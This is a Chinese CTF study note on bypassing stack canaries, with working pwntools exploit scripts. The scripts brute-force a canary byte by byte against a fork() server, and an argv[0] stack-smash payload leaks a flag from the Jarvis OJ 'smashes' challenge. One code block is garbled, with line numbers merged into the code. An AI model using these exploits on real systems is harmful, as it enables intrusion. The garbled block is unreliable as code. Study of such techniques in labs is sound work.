1. 格式化字符串漏洞获取Canary

pl1='a'*0x49
p.sendafter('overflow?\n',pl1)
data=p.recv()
canary=b'\x00'+data[0x49:0x49+7]
canary = int.from_bytes(canary,'little')

success('canary:')
success(hex(canary))

2. 覆盖截断字符获取Canary

3. 逐字节爆破Canary

适用于有通过fork()函数创建的子进程的程序

爆破原理

  • 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存
  • 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。
  • 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。

    通用模板

    from pwn import *

    context.log_level = 'debug'
    context.terminal = ['gnome-terminal','-x','bash','-c']
    context(arch='i386', os='linux')
    local = 1
    elf = ELF('./bin1')

    if local:
    p = process('./bin1')
    libc = elf.libc

    else:
    p = remote('')
    libc = ELF('./')
    p.recvuntil(b'welcome\n')
    canary = b'\x00'
    for k in range(3):
    info(f'-----No:{k+1} start,finding-----')
    for i in range(256):
    p.send(b'a'*(0x70-0xc)+canary+bytes([i]))
    recv = p.recvuntil(b'welcome\n')
    print(recv)
    if b"stack" in recv:
    continue
    else:
    canary += bytes([i])
    success(f"canary => {canary.hex()}")
    break

    示例

    https://xzfile.aliyuncs.com/upload/affix/20190402135117-554ed694-550b-1.zip

起手一套经典连招
Pasted image 20250214201715
32位程序,开启了Canary和NX保护,随后IDA查看
Pasted image 20250214202433
程序中含有fork函数,是可进行爆破canary的重点
Pasted image 20250214202509
fun函数read有栈溢出,buf空间有100=0x64,而我们可以输入0x78的内容,很明显栈溢出
这个v2就是Canary
我们的思路就是一位一位爆破Canary

gdb bin1
b *0x0804874B
b *0x0804870C
r
set follow-fork-mode child
//跟随子进程
c
telescope $esp 35
canary
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
p = process('./bin1')
libc = elf.libc

else:
p = remote('')
libc = ELF('./')
p.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(3):
info(f'-----No:{k+1} start,finding-----')
for i in range(256):
p.send(b'a'*(0x70-0xc)+canary+bytes([i]))
recv = p.recvuntil(b'welcome\n')
print(recv)
if b"stack" in recv:
continue
else:
canary += bytes([i])
success(f"canary => {canary.hex()}")
break

addr = 0x0804863B
payload = b'A' * 100 + canary + b'A' * 12 + p32(addr)
p.send(payload)
p.interactive()

getshell
Pasted image 20250214225926

4. SSP泄露Canary

适用于Flag存储于内存空间中的情况

Stack smash

OJ的smashes

Stack smash就是绕过canary保护的技术。在程序加载了canary保护之后,如果我们是在覆盖缓冲区的时候就会连带着覆盖了canary保护的cookie,这个时候程序就会报错。但是这个技术并不在乎是否报错,而是在乎报错的内容。stack smash技巧就是利用打印这一信息的程序来得到我们想要的内容。
这是因为在程序启动canary保护之后,如果发现canary被修改的话就会执stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

所以如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在
fortify_fail函数中就会输出我们想要的信息
ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值

xxxxxxxxxx21 1from pwn import 2# context.log_level = “debug”3context.terminal = [“deepin-terminal”, “-x”, “sh”, “-c”]4​5while True:6 try:7 io = process(“./babypie”, timeout = 1)8 9 # gdb.attach(io)10 io.sendafter(b”:\n”, b’a’ (0x30 - 0x8 + 1))11 io.recvuntil(b’a’ (0x30 - 0x8 + 1))12 canary = b’\0’ + io.recvn(7)13 success(canary.encode(‘hex’))14 15 # gdb.attach(io)16 io.sendafter(b”:\n”, b’a’ (0x30 - 0x8) + canary + b’bbbbbbbb’ + b’\x3E\x0A’)17 18 io.interactive()19 except Exception as e:20 io.close()21 print (e)python

老连招
Pasted image 20250215192414
开了Canary和NX
Pasted image 20250215193505
程序提供两次输入!_IO_gets(v3)**_IO_getc(stdin)**两次输入都存在栈溢出漏洞
顺带提一下第二次的输入:将内容输入到stdio中,通过循环最后赋值给了byte_600D20,可以看到数组里面存放的是一条flag,此外程序中还提到了overwrite flag,所以这道题并不是拿shell,而是一道拿flag的题。回到前面的程序,v1变量接收第二次输入的字符串,并且会不断覆盖原有的flag内容
再看以下memset函数:
memset((void *)((int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
这个函数的意思是从v1 + 0x600D20LL这个地址往后32 - v1字节的内容都以0替代。
函数原型`void memset( void ptr, int value, size_t num );
可以看到0x600D20处正是我们flag所在的位置,所以无论进不进行第二次输入,程序都会把原有的flag覆盖掉。这就很麻烦了,我们想要的就是利用canary打印报错的原理,将argv[0]指向这个flag的地址,但是flag无论怎么样都会被覆盖

这个时候就需要利用一个技巧:在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出

当可执行文件足够小时,它的不同区段可能会被多次映射

gdb调试

我们可以将程序用gdb打开,运行起来看一下程序映射的情况:
Pasted image 20250215193505

0x400000           0x401000 r-xp     1000      0 /home/zechariah/桌面/pwn_learn/start/smashes
0x600000 0x601000 rw-p 1000 0 /home/zechariah/桌面/pwn_learn/start/smashes

在调试的时候可以看到smashes被映射到两处地址中,所以只要在二进制文件(offset)0x0000 ~ 0x1000范围内的内容都会被映射到内存中,分别以0x4000000x600000作为起始地址。flag在0x00000d20,所以会在内存中出现两次,分别位于0x00600d200x00400d20。所以虽然0x00600d20的位置虽然被覆盖了,但是依然可以在0x00400d20的位置找到flag
Pasted image 20250215213101

找argv[0]指针位置

知道了flag存放的位置,接下来需要找argv[0]所在的位置了,argv[0]有一个明显的特征,就是他会指向程序名,所以我们可以使用gdb在main函数处下断点,接下来找指向程序名的指针就会是argv[0]了
Pasted image 20250215213646
0x7fffffffdf2f存放程序名称,这个地址被放在0x7fffffffdbf8处,只要把0x7fffffffdbf8中的内容替换成flag即可
也可以用命令p & __libc_argv[0] 得到argv[0]的地址
Pasted image 20250215213950

寻找输入时的栈顶位置

先看一下gets函数调用的位置。
Pasted image 20250215214432因为在64位程序中rdi寄存器中存放的是当前执行函数的一参,所以当前的栈顶就是gets函数的一参。所以当前栈顶的位置到刚才的argv[0]的偏移距离就是我们的溢出长度,所以我们通过计算
0x7fffffffdbf8 - 0x7fffffffd9a0 = 0x218
也就是说我们输入内容要在0x218以后才能把argv[0]给覆盖掉,并且输入0x218个内容之后把0x00400d20写上就可以了

from pwn import *
# p=process('./smashes')
p=remote('pwn.jarvisoj.com',9877)
context.log_level='debug'
payload=b'a'*0x218+p64(0x400d20)
p.sendlineafter('name? ',payload)
p.sendlineafter('flag: ','hollk')
print (p.recvall())

Pasted image 20250215214432
Ubuntu版本原因(libc 2.27之后加了其他机制),远程可打通,本地不行

5. 劫持__stack_chk_fail函数